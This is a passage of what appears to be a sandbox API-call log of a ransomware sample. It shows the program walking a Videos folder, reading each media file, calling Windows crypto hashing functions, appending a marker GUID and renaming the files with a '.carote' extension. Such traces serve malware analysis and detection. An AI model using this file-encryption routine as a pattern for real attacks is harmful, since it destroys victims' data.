(HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.667] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.667] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.667] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.667] CloseHandle (hObject=0x61c) returned 1 [0113.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109c38 [0113.668] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b14908 [0113.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109c38 | out: hHeap=0x5010000) returned 1 [0113.668] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\0bbBT.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\0bbbt.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\0bbBT.mp4.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\0bbbt.mp4.carote")) returned 1 [0113.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.669] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.670] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20b28 | out: hHeap=0x5010000) returned 1 [0113.670] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d69f890, ftCreationTime.dwHighDateTime=0x1d4c603, ftLastAccessTime.dwLowDateTime=0x44a24950, ftLastAccessTime.dwHighDateTime=0x1d4c6ba, ftLastWriteTime.dwLowDateTime=0x44a24950, ftLastWriteTime.dwHighDateTime=0x1d4c6ba, nFileSizeHigh=0x0, nFileSizeLow=0x6d9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EU0vdPwEd1NhbXPW.swf", cAlternateFileName="EU0VDP~1.SWF")) returned 1 [0113.670] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecce8 [0113.670] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\EU0vdPwEd1NhbXPW.swf") returned=".swf" [0113.670] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\EU0vdPwEd1NhbXPW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\eu0vdpwed1nhbxpw.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.670] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=28060) returned 1 [0113.670] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.672] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6d76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.672] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.673] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.673] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x6d9c, lpOverlapped=0x0) returned 1 [0113.674] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.674] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.674] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.674] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.675] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.675] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.675] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.675] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.675] GetLastError () returned 0x0 [0113.675] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.675] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.675] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6d9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.675] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.675] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.676] CloseHandle (hObject=0x61c) returned 1 [0113.676] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\EU0vdPwEd1NhbXPW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\eu0vdpwed1nhbxpw.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\EU0vdPwEd1NhbXPW.swf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\eu0vdpwed1nhbxpw.swf.carote")) returned 1 [0113.677] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.677] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.678] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20b28 | out: hHeap=0x5010000) returned 1 [0113.678] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9507c9e0, ftCreationTime.dwHighDateTime=0x1d4d0e9, ftLastAccessTime.dwLowDateTime=0x9c827b00, ftLastAccessTime.dwHighDateTime=0x1d4cae7, ftLastWriteTime.dwLowDateTime=0x9c827b00, ftLastWriteTime.dwHighDateTime=0x1d4cae7, nFileSizeHigh=0x0, nFileSizeLow=0x75df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K4L5fZItZfYvVImu.flv", cAlternateFileName="K4L5FZ~1.FLV")) returned 1 [0113.678] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\K4L5fZItZfYvVImu.flv") returned=".flv" [0113.678] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\K4L5fZItZfYvVImu.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\k4l5fzitzfyvvimu.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.679] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=30175) returned 1 [0113.679] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.680] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x75b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.680] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.682] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x75df, lpOverlapped=0x0) returned 1 [0113.683] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.683] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.683] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.683] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.684] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.684] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.684] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.684] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.684] GetLastError () returned 0x0 [0113.684] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.684] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.684] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.684] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x75df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.684] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.684] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.684] CloseHandle (hObject=0x61c) returned 1 [0113.685] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\K4L5fZItZfYvVImu.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\k4l5fzitzfyvvimu.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\K4L5fZItZfYvVImu.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\k4l5fzitzfyvvimu.flv.carote")) returned 1 [0113.686] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.686] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.687] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x964fca60, ftCreationTime.dwHighDateTime=0x1d4cda0, ftLastAccessTime.dwLowDateTime=0x91179c50, ftLastAccessTime.dwHighDateTime=0x1d4cf1a, ftLastWriteTime.dwLowDateTime=0x91179c50, ftLastWriteTime.dwHighDateTime=0x1d4cf1a, nFileSizeHigh=0x0, nFileSizeLow=0x865b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sERWELja3PflQ xn.mp4", cAlternateFileName="SERWEL~1.MP4")) returned 1 [0113.687] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\sERWELja3PflQ xn.mp4") returned=".mp4" [0113.687] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\sERWELja3PflQ xn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\serwelja3pflq xn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.687] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=34395) returned 1 [0113.687] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.689] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8635, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.689] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.690] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x865b, lpOverlapped=0x0) returned 1 [0113.691] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.691] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.691] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.691] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.692] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.692] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.692] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.692] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.692] GetLastError () returned 0x0 [0113.692] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.692] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.692] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x865b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.692] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.692] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.693] CloseHandle (hObject=0x61c) returned 1 [0113.693] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\sERWELja3PflQ xn.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\serwelja3pflq xn.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\sERWELja3PflQ xn.mp4.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\serwelja3pflq xn.mp4.carote")) returned 1 [0113.695] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x935d7ba0, ftCreationTime.dwHighDateTime=0x1d4c99e, ftLastAccessTime.dwLowDateTime=0x3a09f9e0, ftLastAccessTime.dwHighDateTime=0x1d4c62c, ftLastWriteTime.dwLowDateTime=0x3a09f9e0, ftLastWriteTime.dwHighDateTime=0x1d4c62c, nFileSizeHigh=0x0, nFileSizeLow=0xfb4f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vdRWAGEx51PIo3b.flv", cAlternateFileName="VDRWAG~1.FLV")) returned 1 [0113.695] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\vdRWAGEx51PIo3b.flv") returned=".flv" [0113.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\vdRWAGEx51PIo3b.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\vdrwagex51pio3b.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.696] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=64335) returned 1 [0113.696] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.698] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfb29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.698] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.699] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xfb4f, lpOverlapped=0x0) returned 1 [0113.700] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.700] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.700] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.700] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.701] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.701] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.701] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.701] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.701] GetLastError () returned 0x0 [0113.701] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.701] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.702] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfb4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.702] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.702] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.702] CloseHandle (hObject=0x61c) returned 1 [0113.703] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\vdRWAGEx51PIo3b.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\vdrwagex51pio3b.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\vdRWAGEx51PIo3b.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\vdrwagex51pio3b.flv.carote")) returned 1 [0113.704] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20dc8780, ftCreationTime.dwHighDateTime=0x1d4d11c, ftLastAccessTime.dwLowDateTime=0x2b05fb10, ftLastAccessTime.dwHighDateTime=0x1d4ca00, ftLastWriteTime.dwLowDateTime=0x2b05fb10, ftLastWriteTime.dwHighDateTime=0x1d4ca00, nFileSizeHigh=0x0, nFileSizeLow=0x3818, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WN 7uc01.swf", cAlternateFileName="WN7UC0~1.SWF")) returned 1 [0113.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\WN 7uc01.swf") returned=".swf" [0113.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\WN 7uc01.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\wn 7uc01.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.704] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=14360) returned 1 [0113.704] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.706] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x37f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.706] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.709] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x3818, lpOverlapped=0x0) returned 1 [0113.709] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.709] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.709] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.709] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.710] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.710] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.710] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.710] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.710] GetLastError () returned 0x0 [0113.710] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.710] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.710] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3818, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.710] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.711] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.711] CloseHandle (hObject=0x61c) returned 1 [0113.711] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\WN 7uc01.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\wn 7uc01.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\L0lT\\WN 7uc01.swf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\l0lt\\wn 7uc01.swf.carote")) returned 1 